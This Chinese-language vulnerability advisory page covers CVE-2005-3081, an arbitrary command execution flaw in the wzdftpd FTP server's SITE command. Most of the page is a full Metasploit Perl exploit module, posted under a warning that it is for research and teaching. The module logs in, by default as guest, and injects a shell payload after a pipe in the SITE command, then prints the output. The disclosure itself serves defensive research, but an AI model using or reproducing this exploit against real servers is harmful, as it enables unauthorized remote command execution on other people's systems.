安全研究

安全漏洞
Wzdftpd SITE命令任意执行漏洞

发布日期:2005-09-24
更新日期:2006-12-15

受影响系统:
wzdftpd wzdftpd 0.5.4
wzdftpd wzdftpd 0.5.2
描述:
BUGTRAQ  ID: 14935
CVE(CAN) ID: CVE-2005-3081

WzdFTPD是可运行于linux/win32/freebsd/openbsd平台下的ftp服务器。

wzdftpd 0.5.4可使经过身份验证的远程攻击者通过SITE命令内的shell元字符执行任意命令。

<*来源:kcope (kingcope@gmx.net
  
  链接:http://secunia.com/advisories/16936
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::wzdftpd_site;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info = {
    'Name'     => 'Wzdftpd SITE Command Arbitrary Command Execution',
    'Version'  => '$Revision: 1.3 $',
    'Authors'  => [ 'David Maciejak <david dot maciejak at kyxar dot fr>' ],
    'Arch'     => [ ],
    'OS'       => [ ],
    'Priv'     => 1,
    'UserOpts' =>
      {
        'RHOST'  => [1, 'ADDR', 'The target address'],
        'RPORT'  => [1, 'PORT', 'The target port', 21],
        'USER'   => [1, 'DATA', 'Username', 'guest'],
        'PASS'   => [1, 'DATA', 'Password', '%'],
        'SITECMD'=> [1, 'DATA', 'Custom site command'],
      },

    'Description' => Pex::Text::Freeform(qq{
        This module exploits an arbitrary command execution vulnerability in Wzdftpd
        threw SITE command. Wzdftpd version to 0.5.4 are vulnerable.
}),
    'Refs' =>
      [
        ['BID', '14935'],
      ],

    'Payload' =>
      {
        'Space' => 128,
        'Keys'  => ['cmd','cmd_bash'],
      },

    'Keys' => ['wzdftpd_site'],

    'DisclosureDate' => 'Sep 24 2005',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Check {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
      );
    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return $self->CheckCode('Connect');
    }
    my $res = $s->Recv(-1, 5);
    $s->Close();

    if (! $res) {
        $self->PrintLine("[*] No FTP banner");
        return $self->CheckCode('Unknown');
    }

    if ($res =~ /220 wzd server ready/)
    {
        $self->PrintLine("[*] FTP Server is a wzdftpd server");
        return $self->CheckCode('Appears');
    }
    else
    {
        $self->PrintLine("[*] FTP Server is probably not vulnerable");
        return $self->CheckCode('Safe');
    }
}

sub Exploit {
    my $self = shift;
    my $target_host     = $self->GetVar('RHOST');
    my $target_port     = $self->GetVar('RPORT');
    my $custom_site_cmd =$self->GetVar('SITECMD');
    my $encodedPayload  = $self->GetVar('EncodedPayload');
    my $cmd             = $encodedPayload->RawPayload;
    my $user            = $self->GetVar('USER');
    my $pass            = $self->GetVar('PASS');

    my $s = Msf::Socket::Tcp->new(
        'PeerAddr' => $target_host,
        'PeerPort' => $target_port,
      );

    if ($s->IsError){
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    $self->PrintLine("[*] Establishing a connection to the FTP server ...");

    $s->Send("USER ".$user);

    my $result = $s->Recv(-1, 20);
    if (!($result=~/\d{3} User .+ okay, need password/))
    {
        $self->PrintLine("[*] Invalid user");
        return;
    }

    $s->Send("PASS ".$pass);
    $result = $s->Recv(-1, 20);

    if (!($result=~/\d{3} User logged in/))
    {
        $self->PrintLine("[*] Invalid password");
        return;
    }

    $s->Send("SITE ".$custom_site_cmd." | $cmd;");
    $result = $s->Recv(-1, 20);
    if (!($result=~/^200/))
    {
        $self->PrintLine("[*] Error: $result");
        return;
    }

    $self->PrintLine('');
    my @results = split ( /\n/, $result );
    chomp @results;
    for (my $i = 1; $i < @results -1; $i++){
        $self->PrintLine("$results[$i]");
    }
    return;
}

1;

建议:
厂商补丁:

wzdftpd
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.wzdftpd.net/download.html

浏览次数:1798
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障